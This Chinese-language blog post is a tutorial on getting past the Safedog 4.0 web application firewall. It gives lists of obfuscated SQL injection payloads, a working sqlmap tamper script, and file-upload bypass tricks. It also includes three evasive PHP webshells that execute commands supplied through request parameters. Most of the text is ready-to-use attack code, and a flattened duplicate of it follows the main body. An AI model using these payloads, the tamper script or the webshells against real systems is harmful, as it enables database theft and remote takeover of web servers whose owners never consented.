Bypass安全狗4.0
字数 790 2025-08-20 18:17:42

Bypass安全狗4.0技术详解

SQL注入绕过技术

1=1绕过方法

安全狗会拦截'and 1=1-- -这类常见注入语句,但可以通过以下方式绕过:

  1. 使用URL编码的&符号

    '%261-- -
    '%26true-- -
    '%260-- -
    '%26false-- -
    
  2. 使用XOR运算符

    'Xor 1-- -
    'Xor true-- -
    
  3. 使用数学表达式

    'or -1=-1-- -
    'or -0=-0-- -
    
  4. 内联注释

    'or /*!1=1*/-- -
    
  5. 直接绕过and/or关键字

    /*!11440OR*/
    /*!11440AND*/
    

ORDER BY绕过

  1. 使用注释和换行

    order%23%0aby 3
    
  2. 复杂内联注释

    '/*!order /*!/*/**/by*/4-- -
    '/*!order /*/*%/**/by*/4-- -
    '/*!order /*!/*/**//**/by*/4-- -
    '/*!order /*!/*/**//*/**/by*/4-- -
    
  3. 特殊注释格式

    /*!11440order*/
    

UNION SELECT绕过

  1. 内联注释与注释混淆

    '/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- -
    
  2. 特殊注释格式

    /*!11440union*/
    /*!select/*!/*/**/*/
    

系统函数绕过

  1. 分隔函数名和括号
    version ()      # 直接空格
    user%0a()       # 使用%0a~%20等换行符
    database/**/()  # 使用注释符
    user/*!*/()     # 使用内联注释
    

函数名绕过

在报错注入时可以使用以下格式:

/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/

information_schema.*绕过

安全狗会检测information_schema相关查询,但MySQL 5.6.x及以上版本可以使用以下表替代:

  • innodb_index_stats
  • innodb_table_stats

万能绕过payload

安全狗通过正则匹配关键字,可以通过以下方式使关键字不被单独分离出来:

/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/

Tamper脚本示例

#!/usr/bin/env python
# -*- coding: UTF-8 -*-

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload=payload.replace("=","/*!*/=/*!*/")
        payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
        payload=payload.replace("AND","/*!AND/*!/*/**/*/")
        payload=payload.replace("OR","/*!OR/*!/*/**/*/")
        payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
        payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
        payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
        payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
        payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
        payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
        payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
        payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")
    return payload

文件上传绕过技术

环境:Windows + Apache 2.4 + 安全狗4.0

绕过方法

  1. 文件名回车绕过

    • 在文件名中添加回车符
  2. 双等号绕过

    • 使用==代替=
  3. 双写filename参数

    • 构造诡异的request包,如filename=;
  4. %00截断

    • 在文件名后添加%00,然后CTRL+SHIFT+U转成字符
    • 不需要添加.jpg后缀

免杀Webshell示例

  1. 字符串拼接方式
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;  //assert
$x='funcName';

$$
x($_REQUEST['Name']);
?>
  1. 类析构函数方式
<?php
class User {
    public $name='';
    function __destruct(){
        eval("$this->name");
    }
}
$user=new User;
$user->name=''.$_REQUEST['a'];
?>
  1. 函数返回方式
<?php
function a($a){
    return $a;
}
eval (a($_REQUEST)['hh']);
?>

总结

  1. 安全狗的防护主要基于正则表达式匹配特定关键字和模式
  2. 通过混淆关键字、使用特殊编码、构造异常请求包等方式可以有效绕过
  3. 对于SQL注入,重点是分离关键字和混淆语法结构
  4. 对于文件上传,重点是构造异常但服务器能解析的请求格式
  5. 保持关注MySQL新版本特性,可能提供新的绕过思路
Bypass安全狗4.0技术详解 SQL注入绕过技术 1=1绕过方法 安全狗会拦截 'and 1=1-- - 这类常见注入语句,但可以通过以下方式绕过: 使用URL编码的&符号 : 使用XOR运算符 : 使用数学表达式 : 内联注释 : 直接绕过and/or关键字 : ORDER BY绕过 使用注释和换行 : 复杂内联注释 : 特殊注释格式 : UNION SELECT绕过 内联注释与注释混淆 : 特殊注释格式 : 系统函数绕过 分隔函数名和括号 : 函数名绕过 在报错注入时可以使用以下格式: information_ schema.* 绕过 安全狗会检测information_ schema相关查询,但MySQL 5.6.x及以上版本可以使用以下表替代: innodb_index_stats innodb_table_stats 万能绕过payload 安全狗通过正则匹配关键字,可以通过以下方式使关键字不被单独分离出来: Tamper脚本示例 文件上传绕过技术 环境:Windows + Apache 2.4 + 安全狗4.0 绕过方法 文件名回车绕过 : 在文件名中添加回车符 双等号绕过 : 使用 == 代替 = 双写filename参数 : 构造诡异的request包,如 filename=; %00截断 : 在文件名后添加 %00 ,然后CTRL+SHIFT+U转成字符 不需要添加.jpg后缀 免杀Webshell示例 字符串拼接方式 : 类析构函数方式 : 函数返回方式 : 总结 安全狗的防护主要基于正则表达式匹配特定关键字和模式 通过混淆关键字、使用特殊编码、构造异常请求包等方式可以有效绕过 对于SQL注入,重点是分离关键字和混淆语法结构 对于文件上传,重点是构造异常但服务器能解析的请求格式 保持关注MySQL新版本特性,可能提供新的绕过思路